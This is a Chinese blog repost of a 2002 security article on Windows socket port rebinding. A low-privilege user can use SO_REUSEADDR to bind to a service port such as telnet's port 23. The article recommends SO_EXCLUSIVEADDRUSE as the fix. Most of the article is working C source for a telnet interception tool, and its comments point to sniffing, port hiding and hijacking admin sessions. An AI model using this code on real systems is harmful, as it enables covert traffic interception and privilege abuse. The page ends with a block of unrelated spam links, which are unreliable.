• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            公告

            <2025年6月>
            25262728293031
            1234567
            891011121314
            15161718192021
            22232425262728
            293012345

            統(tǒng)計(jì)

            • 隨筆 - 9
            • 文章 - 13
            • 評(píng)論 - 3
            • 引用 - 0

            常用鏈接

            留言簿(1)

            隨筆分類(lèi)

            隨筆檔案

            文章分類(lèi)

            文章檔案

            搜索

            •  

            最新評(píng)論

            閱讀排行榜

            評(píng)論排行榜

            端口截聽(tīng)
            創(chuàng)建時(shí)間:2002-11-05
            文章屬性:原創(chuàng)
            文章提交:flashsky (flashsky1_at_sina.com)

            作者:FLASHSKY
            EMAIL:flashsky@xfocus.org
            站點(diǎn):www.xfocus.net??www.shopsky.com
            轉(zhuǎn)載請(qǐng)注明原作者安全焦點(diǎn)

            在WINDOWS的SOCKET服務(wù)器應(yīng)用的編程中,如下的語(yǔ)句或許比比都是:
            ?????? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
            ?????? saddr.sin_family = AF_INET;
            ?????? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
            ?????? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
            ????其實(shí)這當(dāng)中存在在非常大的安全隱患,因?yàn)樵趙insock的實(shí)現(xiàn)中,對(duì)于服務(wù)器的綁定是可以多重綁定的,在確定多重綁定使用誰(shuí)的時(shí)候,根據(jù)一條原則是誰(shuí)的指定最明確則將包遞交給誰(shuí),而且沒(méi)有權(quán)限之分,也就是說(shuō)低級(jí)權(quán)限的用戶是可以重綁定在高級(jí)權(quán)限如服務(wù)啟動(dòng)的端口上的,這是非常重大的一個(gè)安全隱患。
            ????這意味著什么?意味著可以進(jìn)行如下的攻擊:
            ????1。一個(gè)木馬綁定到一個(gè)已經(jīng)合法存在的端口上進(jìn)行端口的隱藏,他通過(guò)自己特定的包格式判斷是不是自己的包,如果是自己處理,如果不是通過(guò)127.0.0.1的地址交給真正的服務(wù)器應(yīng)用進(jìn)行處理。
            ????2。一個(gè)木馬可以在低權(quán)限用戶上綁定高權(quán)限的服務(wù)應(yīng)用的端口,進(jìn)行該處理信息的嗅探,本來(lái)在一個(gè)主機(jī)上監(jiān)聽(tīng)一個(gè)SOCKET的通訊需要具備非常高的權(quán)限要求,但其實(shí)利用SOCKET重綁定,你可以輕易的監(jiān)聽(tīng)具備這種SOCKET編程漏洞的通訊,而無(wú)須采用什么掛接,鉤子或低層的驅(qū)動(dòng)技術(shù)(這些都需要具備管理員權(quán)限才能達(dá)到)
            ????3。針對(duì)一些的特殊應(yīng)用,可以發(fā)起中間人攻擊,從低權(quán)限用戶上獲得信息或事實(shí)欺騙,如在guest權(quán)限下攔截telnet服務(wù)器的23端口,如果是采用NTLM加密認(rèn)證,雖然你無(wú)法通過(guò)嗅探直接獲取密碼,但一旦有admin用戶通過(guò)你登陸以后,你的應(yīng)用就完全可以發(fā)起中間人攻擊,扮演這個(gè)登陸的用戶通過(guò)SOCKET發(fā)送高權(quán)限的命令,到達(dá)入侵的目的。
            ????4.對(duì)于構(gòu)建的WEB服務(wù)器,入侵者只需要獲得低級(jí)的權(quán)限,就可以完全達(dá)到更改網(wǎng)頁(yè)目的,很簡(jiǎn)單,扮演你的服務(wù)器給予連接請(qǐng)求以其他信息的應(yīng)答,甚至是基于電子商務(wù)上的欺騙,獲取非法的數(shù)據(jù)。

            ????其實(shí),MS自己的很多服務(wù)的SOCKET編程都存在這樣的問(wèn)題,telnet,ftp,http的服務(wù)實(shí)現(xiàn)全部都可以利用這種方法進(jìn)行攻擊,在低權(quán)限用戶上實(shí)現(xiàn)對(duì)SYSTEM應(yīng)用的截聽(tīng)。包括W2K+SP3的IIS也都一樣,那么如果你已經(jīng)可以以低權(quán)限用戶入侵或木馬植入的話,而且對(duì)方又開(kāi)啟了這些服務(wù)的話,那就不妨一試。并且我估計(jì)還有很多第三方的服務(wù)也大多存在這個(gè)漏洞。
            ????解決的方法很簡(jiǎn)單,在編寫(xiě)如上應(yīng)用的時(shí)候,綁定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求獨(dú)占所有的端口地址,而不允許復(fù)用。這樣其他人就無(wú)法復(fù)用這個(gè)端口了。
            ????下面就是一個(gè)簡(jiǎn)單的截聽(tīng)ms telnet服務(wù)器的例子,在GUEST用戶下都能成功進(jìn)行截聽(tīng),剩余的就是大家根據(jù)自己的需要,進(jìn)行一些特殊剪裁的問(wèn)題了:如是隱藏,嗅探數(shù)據(jù),高權(quán)限用戶欺騙等。

            #include <winsock2.h>
            #include <windows.h>
            #include <stdio.h>
            #include <stdlib.h>

            DWORD WINAPI ClientThread(LPVOID lpParam);

            int main()
            {
            ????WORD wVersionRequested;
            ????DWORD ret;
            ????WSADATA wsaData;
            ????BOOL val;
            ????SOCKADDR_IN saddr;
            ????SOCKADDR_IN scaddr;
            ????int err;
            ????SOCKET s;
            ????SOCKET sc;
            ????int caddsize;
            ????HANDLE mt;
            ????DWORD tid;

            ????wVersionRequested = MAKEWORD( 2, 2 );
            ????err = WSAStartup( wVersionRequested, &wsaData );
            ????if ( err != 0 ) {
            ????????printf("error!WSAStartup failed!\n");
            ????????return -1;
            ????}
            ????saddr.sin_family = AF_INET;

            ????//截聽(tīng)雖然也可以將地址指定為INADDR_ANY,但是要不能影響正常應(yīng)用情況下,應(yīng)該指定具體的IP,留下127.0.0.1給正常的服務(wù)應(yīng)用,然后利用這個(gè)地址進(jìn)行轉(zhuǎn)發(fā),就可以不影響對(duì)方正常應(yīng)用了
            ????saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ????
            ????saddr.sin_port = htons(23);
            ????if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
            ????{
            ????????printf("error!socket failed!\n");
            ????????return -1;
            ????}
            ????val = TRUE;
            ????//SO_REUSEADDR選項(xiàng)就是可以實(shí)現(xiàn)端口重綁定的
            ????if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
            ????{
            ????????printf("error!setsockopt failed!\n");
            ????????return -1;
            ????}
            ????//如果指定了SO_EXCLUSIVEADDRUSE,就不會(huì)綁定成功,返回?zé)o權(quán)限的錯(cuò)誤代碼;
            ????//如果是想通過(guò)重利用端口達(dá)到隱藏的目的,就可以動(dòng)態(tài)的測(cè)試當(dāng)前已綁定的端口哪個(gè)可以成功,就說(shuō)明具備這個(gè)漏洞,然后動(dòng)態(tài)利用端口使得更隱蔽
            ????//其實(shí)UDP端口一樣可以這樣重綁定利用,這兒主要是以TELNET服務(wù)為例子進(jìn)行攻擊
            ????if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
            ????{
            ????????ret=GetLastError();
            ????????printf("error!bind failed!\n");
            ????????return -1;
            ????}
            ????listen(s,2);????
            ????while(1)
            ????{
            ????????caddsize = sizeof(scaddr);
            ????????//接受連接請(qǐng)求
            ????????sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
            ????????if(sc!=INVALID_SOCKET)
            ????????{
            ????????????mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
            ????????????if(mt==NULL)
            ????????????{
            ????????????????printf("Thread Creat Failed!\n");
            ????????????????break;
            ????????????}
            ????????}
            ????????CloseHandle(mt);
            ????}
            ????closesocket(s);
            ????WSACleanup();
            ????return 0;
            }

            DWORD WINAPI ClientThread(LPVOID lpParam)
            {
            ????SOCKET ss = (SOCKET)lpParam;
            ????SOCKET sc;
            ????unsigned char buf[4096];
            ????SOCKADDR_IN saddr;
            ????long num;
            ????DWORD val;
            ????DWORD ret;
            ????//如果是隱藏端口應(yīng)用的話,可以在此處加一些判斷
            ????//如果是自己的包,就可以進(jìn)行一些特殊處理,不是的話通過(guò)127.0.0.1進(jìn)行轉(zhuǎn)發(fā)

            ????saddr.sin_family = AF_INET;
            ????saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
            ????saddr.sin_port = htons(23);
            ????if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
            ????{
            ????????printf("error!socket failed!\n");
            ????????return -1;
            ????}
            ????val = 100;
            ????if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
            ????{
            ????????ret = GetLastError();
            ????????return -1;
            ????}
            ????if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
            ????{
            ????????ret = GetLastError();
            ????????return -1;
            ????}
            ????if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
            ????{
            ????????printf("error!socket connect failed!\n");
            ????????closesocket(sc);
            ????????closesocket(ss);
            ????????return -1;
            ????}
            ????while(1)
            ????{
            ????????//下面的代碼主要是實(shí)現(xiàn)通過(guò)127。0。0。1這個(gè)地址把包轉(zhuǎn)發(fā)到真正的應(yīng)用上,并把應(yīng)答的包再轉(zhuǎn)發(fā)回去。
            ????????//如果是嗅探內(nèi)容的話,可以再此處進(jìn)行內(nèi)容分析和記錄
            ????????????????//如果是攻擊如TELNET服務(wù)器,利用其高權(quán)限登陸用戶的話,可以分析其登陸用戶,然后利用發(fā)送特定的包以劫持的用戶身份執(zhí)行。
            ????????num = recv(ss,buf,4096,0);
            ????????if(num>0)
            ????????????send(sc,buf,num,0);
            ????????else if(num==0)
            ????????????break;
            ????????num = recv(sc,buf,4096,0);
            ????????if(num>0)
            ????????????send(ss,buf,num,0);
            ????????else if(num==0)
            ????????????break;
            ????}
            ????closesocket(ss);
            ????closesocket(sc);
            ????return 0 ;
            }

            posted on 2006-09-22 15:48 blues 閱讀(153) 評(píng)論(0)  編輯 收藏 引用


            只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。
            網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問(wèn)   Chat2DB   管理


            国产精品久久久久9999| 久久一区二区三区99| 欧美日韩精品久久久久| 久久久国产打桩机| 精品久久久久久久久中文字幕| 久久97精品久久久久久久不卡| 精品久久久久久久中文字幕| 国产精品久久久久一区二区三区| 久久中文精品无码中文字幕| 久久无码AV一区二区三区| 97久久综合精品久久久综合| 国产精品一区二区久久精品无码| 伊人久久五月天| 色综合久久天天综合| 久久天天躁狠狠躁夜夜不卡| 久久91综合国产91久久精品| 久久婷婷色综合一区二区 | 伊人色综合久久天天网| 久久久久久夜精品精品免费啦 | 久久久久久久女国产乱让韩| 韩国三级大全久久网站| 国产精品亚洲综合久久| 久久久久亚洲av成人无码电影| 久久精品a亚洲国产v高清不卡| 香港aa三级久久三级老师2021国产三级精品三级在 | 97久久久精品综合88久久| 中文成人无码精品久久久不卡 | 久久久老熟女一区二区三区| 一本久久综合亚洲鲁鲁五月天亚洲欧美一区二区 | 久久不见久久见免费视频7| 亚洲国产精品综合久久网络| 精品欧美一区二区三区久久久| 狠狠色丁香久久婷婷综合五月 | 久久一日本道色综合久久| 久久久午夜精品| 欧美亚洲另类久久综合婷婷 | 成人综合伊人五月婷久久| 热re99久久精品国99热| 伊人久久大香线焦AV综合影院 | 伊人久久大香线焦AV综合影院| 久久亚洲国产精品成人AV秋霞|